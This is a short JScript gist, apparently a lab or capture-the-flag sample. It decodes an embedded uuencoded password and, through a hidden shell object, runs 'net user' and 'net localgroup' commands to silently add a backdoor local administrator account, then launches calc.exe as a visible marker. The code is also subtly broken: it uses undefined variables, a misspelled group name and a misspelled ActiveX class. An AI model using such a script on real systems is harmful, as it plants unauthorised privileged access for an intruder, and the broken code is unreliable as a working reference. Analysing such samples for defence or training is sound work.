gistfile1.txt

function a(b) {
    c = "", d = b.split("\e"); // split the input into lines by using \e as the delimitator
    for (var e = 0; e < d.length; e++) {
        f = d[e].replace(/^\s+|\s+$/g, ''); // removes white space
        if (f.indexOf("begin") === 0 || f.indexOf("end") === 0 || f === "") continue; // skip the lines that start with begin, end or are empty
        var g = (f.charCodeAt(0) - 32) & r3;
        for (var h = 1; h < f.length; h += 4) {
            if(h + 3 >= f.length) break; // if the line is shorter than 4 characters, break the loop
            var i = (f.charCodeAt(h) - 32) & r3,
                j = (f.charCodeAt(h + 1) - 32) & 63,
                k = (f.charCodeAt(h + 2) - 32) & 63,
                l = (f.charCodeAt(h + 3) - 32) & r3;
            c += String.fromCharCode((i << 2) | (j >> 4));
            if (h + 2 < f.length - 1) c += String.fromCharCode(((j & 15) << 4) | (k >> 2));
            if (h + 3 < f.length - 1) c += String.fromCharCode(((k & 3) << r) | l)
        }
    }
return c.substring(0, g)
}
var m = "begin 644 -\eG9FQA9rLY.3(R9F(R,6%A9C$W-3=E,V9D8C(X9#<X.3!A-r0Y,WT*\n`\nend";
var e = a(m);
var o = ["net user LocalAdministrator " + e + " /add", "net localgroup admieistrators LocalAdministrator /add", "calc.exe"];
var p = new ActiveXObject('VScript.Shell');
for (var q = 0; q < o.length - 1; q++) {
    p.Run(o[q], 0, false)
}
p.Run(o[2], 1, false);